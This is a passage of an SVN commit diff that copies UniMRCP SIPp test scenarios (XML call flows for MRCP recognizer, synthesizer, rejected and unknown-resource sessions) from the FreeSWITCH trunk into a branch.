+      To: sut <sip:[service]@[remote_ip]:[remote_port]>
+      Call-ID: [call_id]
+      CSeq: 1 INVITE
+      Contact: sip:sipp@[local_ip]:[local_port]
+      Max-Forwards: 70
+      Subject: Performance Test
+      Content-Type: application/sdp
+      Content-Length: [len]
+
+      v=0
+      o=user1 53655765 2353687637 IN IP4 [local_ip]
+      s=-
+      c=IN IP4 [media_ip]
+      t=0 0
+      m=application 9 TCP/MRCPv2 1
+      a=setup:active
+      a=connection:new
+      a=resource:speechrecog
+      a=cmid:1
+      m=audio [media_port] RTP/AVP 0 8
+      a=sendonly
+      a=mid:1
+
+	]]>
+  </send>
+
+  <recv response="100"
+        optional="true">
+  </recv>
+
+  <recv response="180" optional="true">
+  </recv>
+
+  <!-- By adding rrs="true" (Record Route Sets), the route sets         -->
+  <!-- are saved and used for following messages sent. Useful to test   -->
+  <!-- against stateful SIP proxies/B2BUAs.                             -->
+  <recv response="200" rtd="true">
+  </recv>
+
+  <!-- Packet lost can be simulated in any send/recv message by         -->
+  <!-- by adding the 'lost = "10"'. Value can be [1-100] percent.       -->
+  <send>
+    <![CDATA[
+
+      ACK sip:[service]@[remote_ip]:[remote_port] SIP/2.0
+      Via: SIP/2.0/[transport] [local_ip]:[local_port];branch=[branch]
+      From: sipp <sip:sipp@[local_ip]:[local_port]>;tag=[call_number]
+      To: sut <sip:[service]@[remote_ip]:[remote_port]>[peer_tag_param]
+      Call-ID: [call_id]
+      CSeq: 1 ACK
+      Contact: sip:sipp@[local_ip]:[local_port]
+      Max-Forwards: 70
+      Subject: Performance Test
+      Content-Length: 0
+
+    ]]>
+  </send>
+
+  <!-- This delay can be customized by the -d command-line option       -->
+  <!-- or by adding a 'milliseconds = "value"' option here.             -->
+  <pause/>
+
+  <!-- The 'crlf' option inserts a blank line in the statistics report. -->
+  <send retrans="500">
+    <![CDATA[
+
+      BYE sip:[service]@[remote_ip]:[remote_port] SIP/2.0
+      Via: SIP/2.0/[transport] [local_ip]:[local_port];branch=[branch]
+      From: sipp <sip:sipp@[local_ip]:[local_port]>;tag=[call_number]
+      To: sut <sip:[service]@[remote_ip]:[remote_port]>[peer_tag_param]
+      Call-ID: [call_id]
+      CSeq: 2 BYE
+      Contact: sip:sipp@[local_ip]:[local_port]
+      Max-Forwards: 70
+      Subject: Performance Test
+      Content-Length: 0
+
+    ]]>
+  </send>
+
+  <recv response="200" crlf="true">
+  </recv>
+
+  <!-- definition of the response time repartition table (unit is ms)   -->
+  <ResponseTimeRepartition value="10, 20, 30, 40, 50, 100, 150, 200"/>
+
+  <!-- definition of the call length repartition table (unit is ms)     -->
+  <CallLengthRepartition value="10, 50, 100, 500, 1000, 5000, 10000"/>
+
+</scenario>

Deleted: freeswitch/branches/seven/libs/unimrcp/tests/sipp/mrcp_uac_synth

Copied: freeswitch/branches/seven/libs/unimrcp/tests/sipp/mrcp_uac_synth (from rev 14471, freeswitch/trunk/libs/unimrcp/tests/sipp/mrcp_uac_synth) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/tests/sipp/mrcp_uac_synth	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/tests/sipp/mrcp_uac_synth	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,103 @@
+<?xml version="1.0" encoding="ISO-8859-1" ?>
+<!DOCTYPE scenario SYSTEM "sipp.dtd">
+
+
+<scenario name="MRCP Synthesizer Resource UAC">
+  <!-- In client mode (sipp placing calls), the Call-ID MUST be         -->
+  <!-- generated by sipp. To do so, use [call_id] token.                -->
+  <send retrans="500">
+    <![CDATA[
+
+      INVITE sip:[service]@[remote_ip]:[remote_port] SIP/2.0
+      Via: SIP/2.0/[transport] [local_ip]:[local_port];branch=[branch]
+      From: sipp <sip:sipp@[local_ip]:[local_port]>;tag=[call_number]
+      To: sut <sip:[service]@[remote_ip]:[remote_port]>
+      Call-ID: [call_id]
+      CSeq: 1 INVITE
+      Contact: sip:sipp@[local_ip]:[local_port]
+      Max-Forwards: 70
+      Subject: Performance Test
+      Content-Type: application/sdp
+      Content-Length: [len]
+
+      v=0
+      o=user1 53655765 2353687637 IN IP4 [local_ip]
+      s=-
+      c=IN IP4 [media_ip]
+      t=0 0
+      m=application 9 TCP/MRCPv2 1
+      a=setup:active
+      a=connection:new
+      a=resource:speechsynth
+      a=cmid:1
+      m=audio [media_port] RTP/AVP 0 8
+      a=recvonly
+      a=mid:1
+
+	]]>
+  </send>
+
+  <recv response="100"
+        optional="true">
+  </recv>
+
+  <recv response="180" optional="true">
+  </recv>
+
+  <!-- By adding rrs="true" (Record Route Sets), the route sets         -->
+  <!-- are saved and used for following messages sent. Useful to test   -->
+  <!-- against stateful SIP proxies/B2BUAs.                             -->
+  <recv response="200" rtd="true">
+  </recv>
+
+  <!-- Packet lost can be simulated in any send/recv message by         -->
+  <!-- by adding the 'lost = "10"'. Value can be [1-100] percent.       -->
+  <send>
+    <![CDATA[
+
+      ACK sip:[service]@[remote_ip]:[remote_port] SIP/2.0
+      Via: SIP/2.0/[transport] [local_ip]:[local_port];branch=[branch]
+      From: sipp <sip:sipp@[local_ip]:[local_port]>;tag=[call_number]
+      To: sut <sip:[service]@[remote_ip]:[remote_port]>[peer_tag_param]
+      Call-ID: [call_id]
+      CSeq: 1 ACK
+      Contact: sip:sipp@[local_ip]:[local_port]
+      Max-Forwards: 70
+      Subject: Performance Test
+      Content-Length: 0
+
+    ]]>
+  </send>
+
+  <!-- This delay can be customized by the -d command-line option       -->
+  <!-- or by adding a 'milliseconds = "value"' option here.             -->
+  <pause/>
+
+  <!-- The 'crlf' option inserts a blank line in the statistics report. -->
+  <send retrans="500">
+    <![CDATA[
+
+      BYE sip:[service]@[remote_ip]:[remote_port] SIP/2.0
+      Via: SIP/2.0/[transport] [local_ip]:[local_port];branch=[branch]
+      From: sipp <sip:sipp@[local_ip]:[local_port]>;tag=[call_number]
+      To: sut <sip:[service]@[remote_ip]:[remote_port]>[peer_tag_param]
+      Call-ID: [call_id]
+      CSeq: 2 BYE
+      Contact: sip:sipp@[local_ip]:[local_port]
+      Max-Forwards: 70
+      Subject: Performance Test
+      Content-Length: 0
+
+    ]]>
+  </send>
+
+  <recv response="200" crlf="true">
+  </recv>
+
+  <!-- definition of the response time repartition table (unit is ms)   -->
+  <ResponseTimeRepartition value="10, 20, 30, 40, 50, 100, 150, 200"/>
+
+  <!-- definition of the call length repartition table (unit is ms)     -->
+  <CallLengthRepartition value="10, 50, 100, 500, 1000, 5000, 10000"/>
+
+</scenario>

Deleted: freeswitch/branches/seven/libs/unimrcp/tests/sipp/mrcp_uac_unknown

Copied: freeswitch/branches/seven/libs/unimrcp/tests/sipp/mrcp_uac_unknown (from rev 14471, freeswitch/trunk/libs/unimrcp/tests/sipp/mrcp_uac_unknown) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/tests/sipp/mrcp_uac_unknown	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/tests/sipp/mrcp_uac_unknown	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,102 @@
+<?xml version="1.0" encoding="ISO-8859-1" ?>
+<!DOCTYPE scenario SYSTEM "sipp.dtd">
+
+
+<scenario name="MRCP Unknown Resource UAC">
+  <!-- In client mode (sipp placing calls), the Call-ID MUST be         -->
+  <!-- generated by sipp. To do so, use [call_id] token.                -->
+  <send retrans="500">
+    <![CDATA[
+
+      INVITE sip:[service]@[remote_ip]:[remote_port] SIP/2.0
+      Via: SIP/2.0/[transport] [local_ip]:[local_port];branch=[branch]
+      From: sipp <sip:sipp@[local_ip]:[local_port]>;tag=[call_number]
+      To: sut <sip:[service]@[remote_ip]:[remote_port]>
+      Call-ID: [call_id]
+      CSeq: 1 INVITE
+      Contact: sip:sipp@[local_ip]:[local_port]
+      Max-Forwards: 70
+      Subject: Performance Test
+      Content-Type: application/sdp
+      Content-Length: [len]
+
+      v=0
+      o=user1 53655765 2353687637 IN IP4 [local_ip]
+      s=-
+      c=IN IP4 [media_ip]
+      t=0 0
+      m=application 9 TCP/MRCPv2 1
+      a=setup:active
+      a=connection:new
+      a=resource:unknown
+      a=cmid:1
+      m=audio [media_port] RTP/AVP 0 8
+      a=mid:1
+
+	]]>
+  </send>
+
+  <recv response="100"
+        optional="true">
+  </recv>
+
+  <recv response="180" optional="true">
+  </recv>
+
+  <!-- By adding rrs="true" (Record Route Sets), the route sets         -->
+  <!-- are saved and used for following messages sent. Useful to test   -->
+  <!-- against stateful SIP proxies/B2BUAs.                             -->
+  <recv response="200" rtd="true">
+  </recv>
+
+  <!-- Packet lost can be simulated in any send/recv message by         -->
+  <!-- by adding the 'lost = "10"'. Value can be [1-100] percent.       -->
+  <send>
+    <![CDATA[
+
+      ACK sip:[service]@[remote_ip]:[remote_port] SIP/2.0
+      Via: SIP/2.0/[transport] [local_ip]:[local_port];branch=[branch]
+      From: sipp <sip:sipp@[local_ip]:[local_port]>;tag=[call_number]
+      To: sut <sip:[service]@[remote_ip]:[remote_port]>[peer_tag_param]
+      Call-ID: [call_id]
+      CSeq: 1 ACK
+      Contact: sip:sipp@[local_ip]:[local_port]
+      Max-Forwards: 70
+      Subject: Performance Test
+      Content-Length: 0
+
+    ]]>
+  </send>
+
+  <!-- This delay can be customized by the -d command-line option       -->
+  <!-- or by adding a 'milliseconds = "value"' option here.             -->
+  <pause/>
+
+  <!-- The 'crlf' option inserts a blank line in the statistics report. -->
+  <send retrans="500">
+    <![CDATA[
+
+      BYE sip:[service]@[remote_ip]:[remote_port] SIP/2.0
+      Via: SIP/2.0/[transport] [local_ip]:[local_port];branch=[branch]
+      From: sipp <sip:sipp@[local_ip]:[local_port]>;tag=[call_number]
+      To: sut <sip:[service]@[remote_ip]:[remote_port]>[peer_tag_param]
+      Call-ID: [call_id]
+      CSeq: 2 BYE
+      Contact: sip:sipp@[local_ip]:[local_port]
+      Max-Forwards: 70
+      Subject: Performance Test
+      Content-Length: 0
+
+    ]]>
+  </send>
+
+  <recv response="200" crlf="true">
+  </recv>
+
+  <!-- definition of the response time repartition table (unit is ms)   -->
+  <ResponseTimeRepartition value="10, 20, 30, 40, 50, 100, 150, 200"/>
+
+  <!-- definition of the call length repartition table (unit is ms)     -->
+  <CallLengthRepartition value="10, 50, 100, 500, 1000, 5000, 10000"/>
+
+</scenario>

Deleted: freeswitch/branches/seven/libs/unimrcp/tests/sipp/mrcp_uac_update

Copied: freeswitch/branches/seven/libs/unimrcp/tests/sipp/mrcp_uac_update (from rev 14471, freeswitch/trunk/libs/unimrcp/tests/sipp/mrcp_uac_update) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/tests/sipp/mrcp_uac_update	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/tests/sipp/mrcp_uac_update	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,179 @@
+<?xml version="1.0" encoding="ISO-8859-1" ?>
+<!DOCTYPE scenario SYSTEM "sipp.dtd">
+
+
+<scenario name="MRCP Synthesizer/Recognizer Resources UAC">
+  <!-- In client mode (sipp placing calls), the Call-ID MUST be         -->
+  <!-- generated by sipp. To do so, use [call_id] token.                -->
+  <send retrans="500">
+    <![CDATA[
+
+      INVITE sip:[service]@[remote_ip]:[remote_port] SIP/2.0
+      Via: SIP/2.0/[transport] [local_ip]:[local_port];branch=[branch]
+      From: sipp <sip:sipp@[local_ip]:[local_port]>;tag=[call_number]
+      To: sut <sip:[service]@[remote_ip]:[remote_port]>
+      Call-ID: [call_id]
+      CSeq: 1 INVITE
+      Contact: sip:sipp@[local_ip]:[local_port]
+      Max-Forwards: 70
+      Subject: Performance Test
+      Content-Type: application/sdp
+      Content-Length: [len]
+
+      v=0
+      o=user1 53655765 2353687637 IN IP4 [local_ip]
+      s=-
+      c=IN IP4 [media_ip]
+      t=0 0
+      m=application 9 TCP/MRCPv2 1
+      a=setup:active
+      a=connection:new
+      a=resource:speechsynth
+      a=cmid:1
+      m=audio [media_port] RTP/AVP 0 8
+      a=recvonly
+      a=mid:1
+
+	]]>
+  </send>
+
+  <recv response="100"
+        optional="true">
+  </recv>
+
+  <recv response="180" optional="true">
+  </recv>
+
+  <!-- By adding rrs="true" (Record Route Sets), the route sets         -->
+  <!-- are saved and used for following messages sent. Useful to test   -->
+  <!-- against stateful SIP proxies/B2BUAs.                             -->
+  <recv response="200" rtd="true">
+  </recv>
+
+  <!-- Packet lost can be simulated in any send/recv message by         -->
+  <!-- by adding the 'lost = "10"'. Value can be [1-100] percent.       -->
+  <send>
+    <![CDATA[
+
+      ACK sip:[service]@[remote_ip]:[remote_port] SIP/2.0
+      Via: SIP/2.0/[transport] [local_ip]:[local_port];branch=[branch]
+      From: sipp <sip:sipp@[local_ip]:[local_port]>;tag=[call_number]
+      To: sut <sip:[service]@[remote_ip]:[remote_port]>[peer_tag_param]
+      Call-ID: [call_id]
+      CSeq: 1 ACK
+      Contact: sip:sipp@[local_ip]:[local_port]
+      Max-Forwards: 70
+      Subject: Performance Test
+      Content-Length: 0
+
+    ]]>
+  </send>
+
+  <!-- This delay can be customized by the -d command-line option       -->
+  <!-- or by adding a 'milliseconds = "value"' option here.             -->
+  <pause/>
+
+  <!-- In client mode (sipp placing calls), the Call-ID MUST be         -->
+  <!-- generated by sipp. To do so, use [call_id] token.                -->
+  <send retrans="500">
+    <![CDATA[
+
+      INVITE sip:[service]@[remote_ip]:[remote_port] SIP/2.0
+      Via: SIP/2.0/[transport] [local_ip]:[local_port];branch=[branch]
+      From: sipp <sip:sipp@[local_ip]:[local_port]>;tag=[call_number]
+      To: sut <sip:[service]@[remote_ip]:[remote_port]>
+      Call-ID: [call_id]
+      CSeq: 1 INVITE
+      Contact: sip:sipp@[local_ip]:[local_port]
+      Max-Forwards: 70
+      Subject: Performance Test
+      Content-Type: application/sdp
+      Content-Length: [len]
+
+      v=0
+      o=user1 53655765 2353687637 IN IP4 [local_ip]
+      s=-
+      c=IN IP4 [media_ip]
+      t=0 0
+      m=application 9 TCP/MRCPv2 1
+      a=setup:active
+      a=connection:new
+      a=resource:speechsynth
+      a=cmid:1
+      m=audio [media_port] RTP/AVP 0 8
+      a=sendrecv
+      a=mid:1
+      m=application 9 TCP/MRCPv2 1
+      a=setup:active
+      a=connection:existing
+      a=resource:speechrecog
+      a=cmid:1
+
+	]]>
+  </send>
+
+  <recv response="100"
+        optional="true">
+  </recv>
+
+  <recv response="180" optional="true">
+  </recv>
+
+  <!-- By adding rrs="true" (Record Route Sets), the route sets         -->
+  <!-- are saved and used for following messages sent. Useful to test   -->
+  <!-- against stateful SIP proxies/B2BUAs.                             -->
+  <recv response="200" rtd="true">
+  </recv>
+
+  <!-- Packet lost can be simulated in any send/recv message by         -->
+  <!-- by adding the 'lost = "10"'. Value can be [1-100] percent.       -->
+  <send>
+    <![CDATA[
+
+      ACK sip:[service]@[remote_ip]:[remote_port] SIP/2.0
+      Via: SIP/2.0/[transport] [local_ip]:[local_port];branch=[branch]
+      From: sipp <sip:sipp@[local_ip]:[local_port]>;tag=[call_number]
+      To: sut <sip:[service]@[remote_ip]:[remote_port]>[peer_tag_param]
+      Call-ID: [call_id]
+      CSeq: 1 ACK
+      Contact: sip:sipp@[local_ip]:[local_port]
+      Max-Forwards: 70
+      Subject: Performance Test
+      Content-Length: 0
+
+    ]]>
+  </send>
+
+  <!-- This delay can be customized by the -d command-line option       -->
+  <!-- or by adding a 'milliseconds = "value"' option here.             -->
+  <pause/>
+
+
+  <!-- The 'crlf' option inserts a blank line in the statistics report. -->
+  <send retrans="500">
+    <![CDATA[
+
+      BYE sip:[service]@[remote_ip]:[remote_port] SIP/2.0
+      Via: SIP/2.0/[transport] [local_ip]:[local_port];branch=[branch]
+      From: sipp <sip:sipp@[local_ip]:[local_port]>;tag=[call_number]
+      To: sut <sip:[service]@[remote_ip]:[remote_port]>[peer_tag_param]
+      Call-ID: [call_id]
+      CSeq: 2 BYE
+      Contact: sip:sipp@[local_ip]:[local_port]
+      Max-Forwards: 70
+      Subject: Performance Test
+      Content-Length: 0
+
+    ]]>
+  </send>
+
+  <recv response="200" crlf="true">
+  </recv>
+
+  <!-- definition of the response time repartition table (unit is ms)   -->
+  <ResponseTimeRepartition value="10, 20, 30, 40, 50, 100, 150, 200"/>
+
+  <!-- definition of the call length repartition table (unit is ms)     -->
+  <CallLengthRepartition value="10, 50, 100, 500, 1000, 5000, 10000"/>
+
+</scenario>

Deleted: freeswitch/branches/seven/libs/unimrcp/tests/sipp/mrcp_uas_recog

Copied: freeswitch/branches/seven/libs/unimrcp/tests/sipp/mrcp_uas_recog (from rev 14471, freeswitch/trunk/libs/unimrcp/tests/sipp/mrcp_uas_recog) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/tests/sipp/mrcp_uas_recog	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/tests/sipp/mrcp_uas_recog	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,127 @@
+<?xml version="1.0" encoding="ISO-8859-1" ?>
+<!DOCTYPE scenario SYSTEM "sipp.dtd">
+
+
+<scenario name="MRCP Recognizer Resource UAS">
+  <!-- By adding rrs="true" (Record Route Sets), the route sets         -->
+  <!-- are saved and used for following messages sent. Useful to test   -->
+  <!-- against stateful SIP proxies/B2BUAs.                             -->
+  <recv request="INVITE" crlf="true">
+  </recv>
+
+  <!-- The '[last_*]' keyword is replaced automatically by the          -->
+  <!-- specified header if it was present in the last message received  -->
+  <!-- (except if it was a retransmission). If the header was not       -->
+  <!-- present or if no message has been received, the '[last_*]'       -->
+  <!-- keyword is discarded, and all bytes until the end of the line    -->
+  <!-- are also discarded.                                              -->
+  <!--                                                                  -->
+  <!-- If the specified header was present several times in the         -->
+  <!-- message, all occurences are concatenated (CRLF seperated)        -->
+  <!-- to be used in place of the '[last_*]' keyword.                   -->
+
+  <send retrans="500">
+    <![CDATA[
+
+      SIP/2.0 200 OK
+      [last_Via:]
+      [last_From:]
+      [last_To:];tag=[call_number]
+      [last_Call-ID:]
+      [last_CSeq:]
+      Contact: <sip:[local_ip]:[local_port];transport=[transport]>
+      Content-Type: application/sdp
+      Content-Length: [len]
+
+      v=0
+      o=user1 53655765 2353687637 IN IP4 [local_ip]
+      s=-
+      c=IN IP4 [media_ip]
+      t=0 0
+      m=application 1050 TCP/MRCPv2 1
+      a=setup:passive
+      a=connection:new
+      a=channel:dca48cf082dd584b@speechrecog
+      a=cmid:1
+      m=audio [media_port] RTP/AVP 0 8
+      a=recvonly
+      a=mid:1
+
+    ]]>
+  </send>
+
+  <recv request="ACK"
+        optional="true"
+        rtd="true"
+        crlf="true">
+  </recv>
+
+  <recv request="INVITE" crlf="true">
+  </recv>
+
+  <send retrans="500">
+    <![CDATA[
+
+      SIP/2.0 200 OK
+      [last_Via:]
+      [last_From:]
+      [last_To:];tag=[call_number]
+      [last_Call-ID:]
+      [last_CSeq:]
+      Contact: <sip:[local_ip]:[local_port];transport=[transport]>
+      Content-Type: application/sdp
+      Content-Length: [len]
+
+      v=0
+      o=user1 53655765 2353687637 IN IP4 [local_ip]
+      s=-
+      c=IN IP4 [media_ip]
+      t=0 0
+      m=application 0 TCP/MRCPv2 1
+      a=setup:passive
+      a=connection:existing
+      a=channel:dca48cf082dd584b@speechrecog
+      a=cmid:1
+      m=audio 0 RTP/AVP 0 8
+      a=recvonly
+      a=mid:1
+
+    ]]>
+  </send>
+
+  <recv request="ACK"
+        optional="true"
+        rtd="true"
+        crlf="true">
+  </recv>
+
+  <recv request="BYE">
+  </recv>
+
+  <send>
+    <![CDATA[
+
+      SIP/2.0 200 OK
+      [last_Via:]
+      [last_From:]
+      [last_To:]
+      [last_Call-ID:]
+      [last_CSeq:]
+      Contact: <sip:[local_ip]:[local_port];transport=[transport]>
+      Content-Length: 0
+
+    ]]>
+  </send>
+
+  <!-- Keep the call open for a while in case the 200 is lost to be     -->
+  <!-- able to retransmit it if we receive the BYE again.               -->
+  <pause milliseconds="4000"/>
+
+
+  <!-- definition of the response time repartition table (unit is ms)   -->
+  <ResponseTimeRepartition value="10, 20, 30, 40, 50, 100, 150, 200"/>
+
+  <!-- definition of the call length repartition table (unit is ms)     -->
+  <CallLengthRepartition value="10, 50, 100, 500, 1000, 5000, 10000"/>
+
+</scenario>

Deleted: freeswitch/branches/seven/libs/unimrcp/tests/sipp/mrcp_uas_reject

Copied: freeswitch/branches/seven/libs/unimrcp/tests/sipp/mrcp_uas_reject (from rev 14471, freeswitch/trunk/libs/unimrcp/tests/sipp/mrcp_uas_reject) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/tests/sipp/mrcp_uas_reject	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/tests/sipp/mrcp_uas_reject	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,49 @@
+<?xml version="1.0" encoding="ISO-8859-1" ?>
+<!DOCTYPE scenario SYSTEM "sipp.dtd">
+
+
+<scenario name="MRCP Rejected Offer UAS">
+  <!-- By adding rrs="true" (Record Route Sets), the route sets         -->
+  <!-- are saved and used for following messages sent. Useful to test   -->
+  <!-- against stateful SIP proxies/B2BUAs.                             -->
+  <recv request="INVITE" crlf="true">
+  </recv>
+
+  <!-- The '[last_*]' keyword is replaced automatically by the          -->
+  <!-- specified header if it was present in the last message received  -->
+  <!-- (except if it was a retransmission). If the header was not       -->
+  <!-- present or if no message has been received, the '[last_*]'       -->
+  <!-- keyword is discarded, and all bytes until the end of the line    -->
+  <!-- are also discarded.                                              -->
+  <!--                                                                  -->
+  <!-- If the specified header was present several times in the         -->
+  <!-- message, all occurences are concatenated (CRLF seperated)        -->
+  <!-- to be used in place of the '[last_*]' keyword.                   -->
+
+  <send retrans="500">
+    <![CDATA[
+
+      SIP/2.0 404 OK
+      [last_Via:]
+      [last_From:]
+      [last_To:];tag=[call_number]
+      [last_Call-ID:]
+      [last_CSeq:]
+      Contact: <sip:[local_ip]:[local_port];transport=[transport]>
+      Content-Length: 0
+    ]]>
+  </send>
+
+  <recv request="ACK"
+        optional="true"
+        rtd="true"
+        crlf="true">
+  </recv>
+
+  <!-- definition of the response time repartition table (unit is ms)   -->
+  <ResponseTimeRepartition value="10, 20, 30, 40, 50, 100, 150, 200"/>
+
+  <!-- definition of the call length repartition table (unit is ms)     -->
+  <CallLengthRepartition value="10, 50, 100, 500, 1000, 5000, 10000"/>
+
+</scenario>

Deleted: freeswitch/branches/seven/libs/unimrcp/tests/sipp/mrcp_uas_synth

Copied: freeswitch/branches/seven/libs/unimrcp/tests/sipp/mrcp_uas_synth (from rev 14471, freeswitch/trunk/libs/unimrcp/tests/sipp/mrcp_uas_synth) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/tests/sipp/mrcp_uas_synth	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/tests/sipp/mrcp_uas_synth	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,127 @@
+<?xml version="1.0" encoding="ISO-8859-1" ?>
+<!DOCTYPE scenario SYSTEM "sipp.dtd">
+
+
+<scenario name="MRCP Synthesizer Resource UAS">
+  <!-- By adding rrs="true" (Record Route Sets), the route sets         -->
+  <!-- are saved and used for following messages sent. Useful to test   -->
+  <!-- against stateful SIP proxies/B2BUAs.                             -->
+  <recv request="INVITE" crlf="true">
+  </recv>
+
+  <!-- The '[last_*]' keyword is replaced automatically by the          -->
+  <!-- specified header if it was present in the last message received  -->
+  <!-- (except if it was a retransmission). If the header was not       -->
+  <!-- present or if no message has been received, the '[last_*]'       -->
+  <!-- keyword is discarded, and all bytes until the end of the line    -->
+  <!-- are also discarded.                                              -->
+  <!--                                                                  -->
+  <!-- If the specified header was present several times in the         -->
+  <!-- message, all occurences are concatenated (CRLF seperated)        -->
+  <!-- to be used in place of the '[last_*]' keyword.                   -->
+
+  <send retrans="500">
+    <![CDATA[
+
+      SIP/2.0 200 OK
+      [last_Via:]
+      [last_From:]
+      [last_To:];tag=[call_number]
+      [last_Call-ID:]
+      [last_CSeq:]
+      Contact: <sip:[local_ip]:[local_port];transport=[transport]>
+      Content-Type: application/sdp
+      Content-Length: [len]
+
+      v=0
+      o=user1 53655765 2353687637 IN IP4 [local_ip]
+      s=-
+      c=IN IP4 [media_ip]
+      t=0 0
+      m=application 1050 TCP/MRCPv2 1
+      a=setup:passive
+      a=connection:new
+      a=channel:dca48cf082dd584b@speechsynth
+      a=cmid:1
+      m=audio [media_port] RTP/AVP 0 8
+      a=sendonly
+      a=mid:1
+
+    ]]>
+  </send>
+
+  <recv request="ACK"
+        optional="true"
+        rtd="true"
+        crlf="true">
+  </recv>
+
+  <recv request="INVITE" crlf="true">
+  </recv>
+
+  <send retrans="500">
+    <![CDATA[
+
+      SIP/2.0 200 OK
+      [last_Via:]
+      [last_From:]
+      [last_To:];tag=[call_number]
+      [last_Call-ID:]
+      [last_CSeq:]
+      Contact: <sip:[local_ip]:[local_port];transport=[transport]>
+      Content-Type: application/sdp
+      Content-Length: [len]
+
+      v=0
+      o=user1 53655765 2353687637 IN IP4 [local_ip]
+      s=-
+      c=IN IP4 [media_ip]
+      t=0 0
+      m=application 0 TCP/MRCPv2 1
+      a=setup:passive
+      a=connection:existing
+      a=channel:dca48cf082dd584b@speechsynth
+      a=cmid:1
+      m=audio 0 RTP/AVP 0 8
+      a=sendonly
+      a=mid:1
+
+    ]]>
+  </send>
+
+  <recv request="ACK"
+        optional="true"
+        rtd="true"
+        crlf="true">
+  </recv>
+
+  <recv request="BYE">
+  </recv>
+
+  <send>
+    <![CDATA[
+
+      SIP/2.0 200 OK
+      [last_Via:]
+      [last_From:]
+      [last_To:]
+      [last_Call-ID:]
+      [last_CSeq:]
+      Contact: <sip:[local_ip]:[local_port];transport=[transport]>
+      Content-Length: 0
+
+    ]]>
+  </send>
+
+  <!-- Keep the call open for a while in case the 200 is lost to be     -->
+  <!-- able to retransmit it if we receive the BYE again.               -->
+  <pause milliseconds="4000"/>
+
+
+  <!-- definition of the response time repartition table (unit is ms)   -->
+  <ResponseTimeRepartition value="10, 20, 30, 40, 50, 100, 150, 200"/>
+
+  <!-- definition of the call length repartition table (unit is ms)     -->
+  <CallLengthRepartition value="10, 50, 100, 500, 1000, 5000, 10000"/>
+
+</scenario>

Deleted: freeswitch/branches/seven/libs/unimrcp/tests/sipp/mrcp_uas_unknown

Copied: freeswitch/branches/seven/libs/unimrcp/tests/sipp/mrcp_uas_unknown (from rev 14471, freeswitch/trunk/libs/unimrcp/tests/sipp/mrcp_uas_unknown) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/tests/sipp/mrcp_uas_unknown	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/tests/sipp/mrcp_uas_unknown	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,88 @@
+<?xml version="1.0" encoding="ISO-8859-1" ?>
+<!DOCTYPE scenario SYSTEM "sipp.dtd">
+
+
+<scenario name="MRCP Unknown Resource UAS">
+  <!-- By adding rrs="true" (Record Route Sets), the route sets         -->
+  <!-- are saved and used for following messages sent. Useful to test   -->
+  <!-- against stateful SIP proxies/B2BUAs.                             -->
+  <recv request="INVITE" crlf="true">
+  </recv>
+
+  <!-- The '[last_*]' keyword is replaced automatically by the          -->
+  <!-- specified header if it was present in the last message received  -->
+  <!-- (except if it was a retransmission). If the header was not       -->
+  <!-- present or if no message has been received, the '[last_*]'       -->
+  <!-- keyword is discarded, and all bytes until the end of the line    -->
+  <!-- are also discarded.                                              -->
+  <!--                                                                  -->
+  <!-- If the specified header was present several times in the         -->
+  <!-- message, all occurences are concatenated (CRLF seperated)        -->
+  <!-- to be used in place of the '[last_*]' keyword.                   -->
+
+  <send retrans="500">
+    <![CDATA[
+
+      SIP/2.0 200 OK
+      [last_Via:]
+      [last_From:]
+      [last_To:];tag=[call_number]
+      [last_Call-ID:]
+      [last_CSeq:]
+      Contact: <sip:[local_ip]:[local_port];transport=[transport]>
+      Content-Type: application/sdp
+      Content-Length: [len]
+
+      v=0
+      o=user1 53655765 2353687637 IN IP4 [local_ip]
+      s=-
+      c=IN IP4 [media_ip]
+      t=0 0
+      m=application 0 TCP/MRCPv2 1
+      a=setup:passive
+      a=connection:new
+      a=channel:dca48cf082dd584b@unknown
+      a=cmid:1
+      m=audio 0 RTP/AVP 0 8
+      a=sendonly
+      a=mid:1
+
+    ]]>
+  </send>
+
+  <recv request="ACK"
+        optional="true"
+        rtd="true"
+        crlf="true">
+  </recv>
+
+  <recv request="BYE">
+  </recv>
+
+  <send>
+    <![CDATA[
+
+      SIP/2.0 200 OK
+      [last_Via:]
+      [last_From:]
+      [last_To:]
+      [last_Call-ID:]
+      [last_CSeq:]
+      Contact: <sip:[local_ip]:[local_port];transport=[transport]>
+      Content-Length: 0
+
+    ]]>
+  </send>
+
+  <!-- Keep the call open for a while in case the 200 is lost to be     -->
+  <!-- able to retransmit it if we receive the BYE again.               -->
+  <pause milliseconds="4000"/>
+
+
+  <!-- definition of the response time repartition table (unit is ms)   -->
+  <ResponseTimeRepartition value="10, 20, 30, 40, 50, 100, 150, 200"/>
+
+  <!-- definition of the call length repartition table (unit is ms)     -->
+  <CallLengthRepartition value="10, 50, 100, 500, 1000, 5000, 10000"/>
+
+</scenario>

Copied: freeswitch/branches/seven/libs/unimrcp/tests/strtablegen (from rev 14471, freeswitch/trunk/libs/unimrcp/tests/strtablegen)

Property changes: freeswitch/branches/seven/libs/unimrcp/tests/strtablegen


Name: svn:ignore
   + Makefile.in
*.user
.deps
Makefile

Deleted: freeswitch/branches/seven/libs/unimrcp/tests/strtablegen/Makefile.am

